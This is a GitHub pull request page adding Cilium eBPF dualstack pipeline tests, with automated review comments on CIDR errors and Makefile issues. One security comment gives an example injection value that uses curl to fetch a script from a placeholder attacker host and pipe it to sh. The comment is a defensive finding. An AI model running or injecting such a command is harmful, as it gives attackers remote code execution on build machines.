-
Notifications
You must be signed in to change notification settings - Fork 259
feat: pipeline tests for Cilium eBPF host routing + dualstack #4154
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Pull request overview
This PR adds comprehensive end-to-end pipeline tests for Cilium eBPF with host routing enabled on dualstack AKS clusters. The implementation mirrors the existing Cilium dualstack overlay tests while introducing eBPF-specific configurations and deployment workflows.
Key Changes:
- New Cilium eBPF dualstack configuration with native routing mode and proper CIDR settings for both IPv4 and IPv6
- Pipeline integration with new cluster creation, deployment, and E2E test stages for the
cilium_ebpf_ds_e2etest suite - Container specification fixes to explicitly target the
cilium-agentcontainer in multi-container Cilium pods
Reviewed changes
Copilot reviewed 12 out of 12 changed files in this pull request and generated 6 comments.
Show a summary per file
| File | Description |
|---|---|
| test/integration/manifests/cilium/v1.17/ebpf/dualstack/static/cilium-config.yaml | New Cilium ConfigMap for eBPF dualstack with native routing mode and routing CIDRs |
| test/integration/manifests/cilium/v1.17/ebpf/dualstack/static/azure-ip-masq-agent-config-reconciled.yaml | IP masquerade agent configuration for non-masquerade CIDRs |
| test/integration/manifests/cilium/v1.17/ebpf/dualstack/cilium.yaml | Complete Cilium DaemonSet definition with eBPF configurations, init containers, and volume mounts |
| hack/aks/deploy.mk | Added deploy-ebpf-dualstack-cilium target with required variable exports and envsubst template processing |
| hack/aks/Makefile | Made POD_CIDR overridable and added POD_CIDRS support for dualstack cluster creation |
| .pipelines/pipeline.yaml | Integrated new cilium_ebpf_ds_e2e test suite into the pipeline with proper dependencies and cleanup |
| .pipelines/singletenancy/cilium-dualstack-ebpf/cilium-dualstack-e2e-job-template.yaml | Job template defining cluster creation and E2E test stages with required environment variables |
| .pipelines/singletenancy/cilium-dualstack-ebpf/cilium-dualstack-e2e-step-template.yaml | Step template with complete test workflow including Cilium installation, connectivity tests, and validation |
| .pipelines/templates/create-cluster.yaml | Added POD_CIDRS export for dualstack cluster configuration |
| .pipelines/templates/log.steps.yaml | Added container name specification for Cilium kubectl exec commands |
| .pipelines/templates/log-template.yaml | Added container name specification for Cilium kubectl exec commands |
| test/validate/linux_validate.go | Added containerName field to cilium state file validation check |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| echo "Install az cli extension preview" | ||
| az extension add --name aks-preview | ||
| az extension update --name aks-preview | ||
| export POD_CIDRS="10.244.0.0/16,fdd5:a27a:b4bc:99d6::105/64" |
Copilot
AI
Dec 2, 2025
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The IPv6 pod CIDR fdd5:a27a:b4bc:99d6::105/64 is incorrect. The ::105 suffix represents a specific host address, not a network. For a pod CIDR, this should be: fdd5:a27a:b4bc:99d6::/64. This must match the corrected value in cilium-config.yaml.
| export POD_CIDRS="10.244.0.0/16,fdd5:a27a:b4bc:99d6::105/64" | |
| export POD_CIDRS="10.244.0.0/16,fdd5:a27a:b4bc:99d6::/64" |
| export AZURE_IPTABLES_MONITOR_TAG | ||
| export AZURE_IP_MASQ_MERGER_IMAGE_REGISTRY | ||
| export AZURE_IP_MASQ_MERGER_TAG | ||
| export IPV6_HP_BPF_VERSION |
Copilot
AI
Dec 2, 2025
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The variable IPV6_HP_BPF_VERSION is exported twice (lines 11 and 17). Remove the duplicate export on line 17.
| export IPV6_HP_BPF_VERSION |
| # set cilium version tag and registry here so they are visible as env vars to envsubst | ||
| CILIUM_VERSION_TAG=$(EBPF_CILIUM_VERSION_TAG) CILIUM_IMAGE_REGISTRY=$(EBPF_CILIUM_IMAGE_REGISTRY) \ | ||
| envsubst '$${CILIUM_VERSION_TAG},$${CILIUM_IMAGE_REGISTRY},$${IPV6_HP_BPF_VERSION}' < \ | ||
| envsubst '$${CILIUM_VERSION_TAG},$${CILIUM_IMAGE_REGISTRY},$${IPV6_HP_BPF_VERSION},$${IPV}' < \ |
Copilot
AI
Dec 2, 2025
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The variable $${IPV} in the envsubst command is undefined and will not be substituted. This appears to be an incomplete variable name. If this is intended to be IPV6_IMAGE_REGISTRY, it should be added to the envsubst list. Otherwise, this variable reference should be removed from the envsubst command.
| envsubst '$${CILIUM_VERSION_TAG},$${CILIUM_IMAGE_REGISTRY},$${IPV6_HP_BPF_VERSION},$${IPV}' < \ | |
| envsubst '$${CILIUM_VERSION_TAG},$${CILIUM_IMAGE_REGISTRY},$${IPV6_HP_BPF_VERSION}' < \ |
| ip-masq-agent-reconciled: | | ||
| masqLinkLocal: true | ||
| nonMasqueradeCIDRs: | ||
| - 10.244.0.0/16 |
Copilot
AI
Dec 2, 2025
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
For a dualstack configuration, the nonMasqueradeCIDRs list should include both IPv4 and IPv6 pod CIDRs. Currently only the IPv4 CIDR (10.244.0.0/16) is listed. Add the IPv6 CIDR (e.g., - fdd5:a27a:b4bc:99d6::/64) to prevent masquerading IPv6 pod-to-pod traffic.
| - 10.244.0.0/16 | |
| - 10.244.0.0/16 | |
| - fdd5:a27a:b4bc:99d6::/64 |
| ipam-cilium-node-update-rate: 15s | ||
| ipam: delegated-plugin | ||
| ipv4-native-routing-cidr: 10.244.0.0/16 | ||
| ipv6-native-routing-cidr: fdd5:a27a:b4bc:99d6::105/64 |
Copilot
AI
Dec 2, 2025
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The IPv6 CIDR fdd5:a27a:b4bc:99d6::105/64 is incorrect. The ::105 suffix represents a host address within the network, not the network itself. For a native routing CIDR, this should be the network address: fdd5:a27a:b4bc:99d6::/64 (without the ::105 host part). This needs to match the pod CIDR network range, not a specific host within it.
| ipv6-native-routing-cidr: fdd5:a27a:b4bc:99d6::105/64 | |
| ipv6-native-routing-cidr: fdd5:a27a:b4bc:99d6::/64 |
| --network-plugin-mode overlay \ | ||
| --subscription $(SUB) \ | ||
| --ip-families ipv4,ipv6 \ | ||
| --pod-cidrs "$(POD_CIDRS)" \ |
Copilot
AI
Dec 2, 2025
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The use of "$(POD_CIDRS)" in a shell-executed Makefile recipe allows command substitution (e.g., $(...) or backticks) to be executed even inside double quotes, enabling command injection if POD_CIDRS is attacker-controlled. An attacker could set POD_CIDRS="$(curl https://attacker/evil.sh | sh)" to execute arbitrary commands during aks create. Fix by using single quotes around the variable and validating its format, e.g., --pod-cidrs '$${POD_CIDRS}', and enforce a strict CIDR pattern before use (or sanitize to allow only valid IPv4/IPv6 CIDRs).
Reason for Change:
This PR adds tests for dualstack clusters with eBPF host routing enabled. Key changes:
Issue Fixed:
Requirements:
Notes: